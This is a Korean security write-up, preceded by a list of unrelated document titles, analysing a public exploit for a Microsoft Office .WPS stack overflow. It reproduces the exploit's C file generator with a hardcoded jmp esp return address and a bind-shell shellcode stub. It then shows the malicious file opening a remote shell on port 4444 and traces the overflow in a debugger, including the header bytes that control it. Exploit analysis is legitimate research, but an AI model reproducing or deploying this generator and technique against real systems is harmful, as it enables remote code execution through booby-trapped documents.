Microsoft Word - MSOffice_WPS_analysis.doc

Similar documents
1.hwp

BMP 파일 처리

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - MS_rshd_exploit.doc

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap06-2pointer.ppt

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

chap7.key

歯9장.PDF

Deok9_Exploit Technique

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

금오공대 컴퓨터공학전공 강의자료

how_2_write_Exploit_4_the_MSF_v3.x.hwp

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

슬라이드 1

Microsoft PowerPoint - chap06-5 [호환 모드]

K&R2 Reference Manual 번역본

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

금오공대 컴퓨터공학전공 강의자료

Microsoft PowerPoint - chap10-함수의활용.pptx

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

PowerPoint 프레젠테이션

Microsoft PowerPoint APUE(Intro).ppt


임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

PowerPoint 프레젠테이션

Microsoft Word - FunctionCall

The Pocket Guide to TCP/IP Sockets: C Version

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

untitled

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

vi 사용법

슬라이드 1

PowerPoint 프레젠테이션

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

제1장 Unix란 무엇인가?

The Pocket Guide to TCP/IP Sockets: C Version

PowerPoint 프레젠테이션

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Sena Technologies, Inc. HelloDevice Super 1.1.0

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers

Microsoft PowerPoint - IOControl [호환 모드]

2009년 상반기 사업계획

윤성우의 열혈 TCP/IP 소켓 프로그래밍

..,. Job Flow,. PC,.., (Drag & Drop),.,. PC,, Windows PC Mac,.,.,. NAS(Network Attached Storage),,,., Amazon Web Services*.,, (redundancy), SSL.,. * A

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

쉽게 풀어쓴 C 프로그래밍

5.스택(강의자료).key

!K_InDesginCS_NFH


1217 WebTrafMon II

ActFax 4.31 Local Privilege Escalation Exploit

*****

The Pocket Guide to TCP/IP Sockets: C Version

No Slide Title

Microsoft PowerPoint - chap03-변수와데이터형.pptx

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A634C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

SYN flooding

PowerPoint 프레젠테이션

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

2-11Àå

C 언어 프로그래밊 과제 풀이

본 강의에 들어가기 전

*

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

11장 포인터

Microsoft Word - ExecutionStack

API 매뉴얼

03장.스택.key

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

PowerPoint Template

슬라이드 1

강의10

API 매뉴얼

기존에 Windchill Program 이 설치된 Home Directory 를 선택해준다. 프로그램설치후설치내역을확인해보면 Adobe Acrobat 6.0 Support 내역을확인할수 있다.

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]

3ÆÄÆ®-11

슬라이드 1

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

bn2019_2

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

6주차.key

Transcription:

MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS File Stack Overflow 취약점과그 exploit 코드를분석해보고자합니다. 테스트환경은다음과같습니다. - Host PC : Windows XP Home SP2 5.1.2600 한국어 - App. : VMware Workstation ACE Edition 6.0.2 - Guest PC Windows XP Professional SP2 5.1.2600 한국어 Windows Office 2003 한국어 먼저취약점을가지는.WPS 파일이무엇인지알아보도록하겠습니다..WPS 파일은 Microsoft Works Text Document 파일을나타내는확장자입니다. Works는개인내지소규모기업용으로사용하는일종의통합소프트웨어입니다. 오피스에비해 light한제품으로생각하시면될것같습니다. 실제 Works를사용하는국내사용자가많이없다고합니다. 그리고 Microsoft에서작년 (2007년) 여름즈음에 Works를무료배포한다는뉴스가발표 1 되었습니다. 이취약점은 Microsoft Office 2003에존재하는.WPS 파일을 RTF로바꾸는 filter에존재합니다. 조금더자세하게는 WPS 파일로부터 Section을읽는함수내에서 Stack Overflow가발생하게됩니다. 따라서 TEXT Section의크기를 0x10보다크게한다면쉽게 exploit을할수있다고하는데이에대해서는뒤에다시자세하게다루도록하겠습니다. 우선 milw0rm 에게재된 exploit 코드를동작시켜보도록하겠습니다. 대상시스템은 Windows XP Professional SP2 한국어버전입니다. 여기에 Office 2003 한국어버전을설치하였습니다. 그리고기존 code에는 shellcode가계산기를실행시키는것이었는데이를 4444번 port로 shell binding을하는 code로바꾸어보도록하겠습니다. 이 shellcode는 1 http://www.techcrunch.com/2007/07/30/microsoft-offers-works-for-free/

metasploit에서구할수있습니다. 이외에 code내에서시스템의존적인부분이없는지살펴보도록하겠습니다. ********************************************************************************************************* #include <stdio.h> #include <windows.h> unsigned char uszwpsheader[] = /* WPS Header */ "\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; unsigned char uszshellcode[] = /* Shellcode - metasploit bind 4444 */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x91\xa4\x93\x40\x12\x5b\x45\xbf"; TARGET targets[] = { { "Windows XP SP2 de ntdll.dll", "\xed\x1e\x94\x7c" }, /* jmp esp */ }; int main( int argc, char **argv ) { char szbuffer[1024*10]; FILE *f; void *pexitprocess[4]; memset(szbuffer, 0x90, 1024*10); printf("[+] Creating WPS header...\n"); memcpy( szbuffer, uszwpsheader, sizeof( uszwpsheader ) - 1 ); 1 ); printf("[+] Copying addr && nops && shellcode...\n"); memcpy( szbuffer + sizeof( uszwpsheader ) - 1, targets[atoi( argv[1] + 1 )].uszret, 4 ); memcpy( szbuffer + sizeof( uszwpsheader ) + 3, uszshellcode, sizeof( uszshellcode ) - f = fopen( argv[2], "wb" );

if ( f == NULL ) { printf("[-] Cannot create file\n"); return 0; } fwrite( szbuffer, 1, sizeof( szbuffer), f ); fclose( f ); printf("[+].wps file succesfully created!\n"); return 0; } ********************************************************************************************************* Exploit code를살펴보면 main 함수위에 target system과 ntdll.dll내의 jmp esp 명령어의주소가하드코딩되어있음을알수있습니다. 따라서지금테스트해볼대상시스템의 jmp esp 주소를찾아야합니다. 이를위해이전에 SEH Overwrites Simplified 문서에서언급했던 findjmp2 라는툴을사용하도록하겠습니다. 이툴은다음주소에서다운로드받을수있습니다. 다운로드 : http://blackhat-forums.com/downloads/misc/findjmp2.rar 이툴을이용해서 ntdll.dll 내의 jmp esp 명령어의주소를찾아보도록하겠습니다. C:\Documents and Settings\freeman>"C:\Documents and Settings\freeman\ 바탕화면 \F indjmp2.exe" ntdll.dll esp Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning ntdll.dll for code useable with the esp register 0x7C944393 call esp 0x7C971EED jmp esp 0x7C988DB3 call esp Finished Scanning ntdll.dll for code useable with the esp register Found 13 usable addresses 결과를보시면대상시스템의 jmp esp 명령어의주소는 0x7C971EED임을알수있습니다. 이주소값으로 exploit code를바꾸어컴파일을해서실행해보도록하겠습니다. 참고로이 exploit

code 는취약함을이용할수있는조작된 WPS 파일을생성하는 code 입니다. 컴파일후실행해보도록하겠습니다. C:\...\freeman>"C:\...\freeman\ 바탕화면 \exploit.exe" Microsoft Office.WPS Stack Overflow Adam Walker (c) 2007 [+] Targets: (1) Windows XP SP2 ntdll.dll de Usage: wps.exe <target> <file> Usage 에맞춰다시실행해보도록하겠습니다. C:\...\freeman>"C:\...\freeman\ 바탕화면 \exploit.exe" 1 evil_bind.wps [+] Creating WPS header... [+] Copying addr && nops && shellcode... [+].WPS file succesfully created! 정상적으로동작한결과 evil_bind.wps 파일이생성되었음을알수있습니다. 그리고이파일을 Word 로열어보도록하겠습니다. 그러면다음과같은메시지를볼수있으면서 Word 프로그램이 응답없음 이되어있음을볼수있습니다. 그렇다면 Shellcode는실행되었는지 netstat으로확인해보도록하겠습니다. C:\Documents and Settings\freeman>netstat -an

Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING TCP 127.0.0.1:1029 0.0.0.0:0 LISTENING UDP 192.168.135.147:138 *:* TCP 4444번포트가대기중임을확인할수있습니다. 즉, Shellcode가수행되었다고볼수있습니다. 그렇다면 remote system에서 telnet으로대상시스템에접속해보도록하겠습니다. telnet 192.168.135.147 4444 명령을실행시킨결과접속이성공했습니다. netstat으로다시확인해보도록하겠습니다. C:\Documents and Settings\freeman>netstat -an Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 192.168.135.147:4444 192.168.135.132:3922 ESTABLISHED UDP 192.168.135.147:138 *:* 보셨다시피 exploit code 는단순히취약성을이용하는 WPS 파일을생성하는것입니다. 지금부터

는 Word 프로그램내에서 shellcode 가동작하는과정을분석해보도록하겠습니다. 먼저 ollydbg로 MS Word Office 2003의실행파일을엽니다. Word 파일이큰관계로 ollydbg에서열때 40% 정도밖에진행이되지않은상태에서오래시간이걸립니다. Space를눌러멈춘뒤 F9로그냥실행하시면 Word 프로그램이실행되는것을볼수있습니다. 실제로 Word 프로그램이취약한파일을열어처리를하는도중에취약점이발생한것이기때문에 fopen() 이나 CreateFileA(), CreateFileW() 등의함수를통해대상파일을접근할것이라는것을알수있습니다. 따라서파일을여는함수를 Ctrl+G를통해찾아모두 Break Point를걸어주도록하겠습니다. Break Point를건뒤 Word 프로그램내에서대상파일을 Open하면 CreateFileW() 에서멈추는것을확인할수있습니다. 대상 WPS 파일을 Open한이후에는메모리에 Mapping할것을추측할수있습니다. 따라서 CreateFileMappingA(), CreateFileMappingW() 함수가호출되는지점을역시 Break Point로지정해두고대상 WPS파일이메모리에올라오는지확인해보도록하겠습니다. CreateFileMappingW() 함수가호출되는부분을찾아리턴되어돌아올위치에 Break Point를설정해놓고 F9를눌러실행합니다. F9를몇번더눌러 CreateFileMappingW() 함수가여러번호출된이후에 Memory를확인해보면대상 WPS 파일이올라와있는것을확인해볼수있습니다. 다만몇번의호출이이루어지는지는여러번의반복수행을통해알수있었습니다. 그리고 WPS파일이메모리에올라와있는것은확인할수있었지만 F9를눌렀기때문에이미 shellcode가수행되어버린것역시 netstat 명령을통해확인할수있습니다. 따라서 shellcode가수행되기바로직전까지 F9를눌러실행한뒤 F8과 F7을통해 tracing 하도록하겠습니다.

계속 tracing을하다보면 ( 이부분에대해서는여러번해보는방법밖에는없는것같습니다. 분석에있어노하우가있으신분은알려주시면감사드리겠습니다.) 특정루틴에서반복을통해 Stack에데이터를복사하는것을확인할수있습니다. Stack에한번에 12bytes씩 0x2f번반복을통해데이터를저장합니다. 반복횟수 0x2f번은 exploit code에서 WPS파일의 header 속에설정할수있습니다. 즉, WPS 파일 header 데이터값을살펴보면, 0000810: 0002 0000 000a 0000 f801 0e00 ffff ffff... 0000820: 1800 5445 5854 0000 2f00 0000 0000 0000..TEXT../... 0000830: 0000 0000 0000 0000 0000 0000 0000 ed1e... 0000840: 977c 9090 9090 9090 9090 9090 9090 9090.... ASCII값으로 TEXT 이후 0x2f값으로반복횟수를, 0x7c971eed값으로 Stack내 return address를, 이후에는 shellcode를넣음으로써 Stack Overflow를발생시킬수있습니다. 각위치는 WPS 파일포맷에맞추어설정할수있습니다. 참고로 WPS파일은 Microsoft Compound Document File Format을따르며 Office 2007 이전의 Word, PPT 등의파일은이포맷을따릅니다. 이포맷에대한설명은다음문서를참고하시기바랍니다. 참고문헌 : http://sc.openoffice.org/compdocfileformat.pdf 함수가리턴할때의 Stack 을보면덮어쓰여진것을볼수있습니다. Exploit code 에서설정해놓은 0x7C971EED 로리턴하면 jmp esp 가실행되어다시 0x124500 으로

돌아오는것을확인할수있습니다. Exploit code 내에서바이너리로설정되어있던 header 값은결국 WPS 파일포맷인 Compound Document File Format에미리맞추어진값입니다. 내부적인포맷에맞게덮어쓸크기를크게설정하고덮어쓸 return address 값과 shellcode를설정함으로써 Stack Overflow를일으켜 shellcode 를수행시킬수있습니다. 이번분석은파일포맷에저장되어있는여러데이터값들을메모리에각각올려사용할때그크기의제한을제대로검사하지않아서발생한것입니다. 이처럼악성바이너리가아닌조작된문서역시보안에위협적인요소임을다시한번확인할수있습니다.